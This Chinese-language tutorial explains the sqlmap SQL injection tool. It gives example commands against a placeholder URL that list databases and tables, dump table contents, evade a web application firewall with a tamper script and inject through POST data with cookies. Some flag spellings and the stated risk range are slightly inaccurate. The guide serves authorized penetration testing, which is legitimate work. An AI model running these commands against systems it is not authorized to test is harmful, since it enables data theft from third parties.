【sqlmap使用手册-持续更新中】
SQLMap 简介
SQLMap 是一个开源的渗透测试工具,用于自动化检测和利用 SQL 注入漏洞。它支持多种数据库,包括 MySQL、PostgreSQL、Oracle、SQL Server 等。
可以通过以下命令安装sqlmap
git clone https://github.com/sqlmapproject/sqlmap.git
最常用的指令:-u 后面跟的是目标 URL,–dbs 参数用于列出数据库。
python sqlmap.py -u "http://example.com/vuln.php?id=1" --dbs
常用参数
-u: 指定目标 URL。
–data: 用于 POST 请求,指定参数。
–cookie: 提供 Cookie 信息以维持会话。
–dbs: 列出数据库。
–tables: 列出数据库中的表。
–columns: 列出指定表中的列。
–dump: 提取数据。
–level: 设置测试级别(1-5),5 为最全面。
–risk: 设置风险级别(0-3),3 为最高风险。
–threads: 设置线程数以提高速度。
例子
列出数据库:
python sqlmap.py -u "http://example.com/vuln.php?id=1" --dbs
列出特定数据库中的表:
python sqlmap.py -u "http://example.com/vuln.php?id=1" -D target_db --tables
列出特定表中的列:
python sqlmap.py -u "http://example.com/vuln.php?id=1" -D target_db -T target_table --columns
提取数据:
python sqlmap.py -u "http://example.com/vuln.php?id=1" -D target_db -T target_table --dump
高级功能
使用代理:
--proxy="http://127.0.0.1:8080"
使用特定用户代理:
--user-agent="Mozilla/5.0"
对抗 WAF:
--tamper=space2comment
生成报告
可以通过 --output-dir
参数指定输出目录,生成报告。
POST请求下如何携带cookie使用sqlmap注入?
在使用 SQLMap 进行 POST 请求时带上 Cookie,可以使用 --data 参数来指定 POST 数据,同时使用 --cookie 参数来传递 Cookie 信息。以下是具体的示例:
示例命令
假设你的 POST 请求 URL 为 http://example.com/vuln.php,请求数据为 username=admin&password=123456,而 Cookie 为 sessionid=abc123,你可以这样使用 SQLMap:
python sqlmap.py -u "http://example.com/vuln.php" --data="username=admin&password=123456" --cookie="sessionid=abc123"
说明
-u:指定目标 URL。
–data:指定 POST 请求的数据,使用 & 分隔多个参数。
–cookie:提供 Cookie 信息以维持会话。
其他参数
你可以根据需要添加其他参数,例如:
–level:设置检测的级别(1-5)。
–risk:设置风险级别(0-3)。
–threads:设置线程数,提高请求速度。
完整示例
下面是一个包含更多参数的完整命令:
python sqlmap.py -u "http://example.com/vuln.php" --data="username=admin&password=123456" --cookie="sessionid=abc123" --dbs --level=3 --risk=2
这将会列出数据库。请确保在合法授权的情况下进行测试。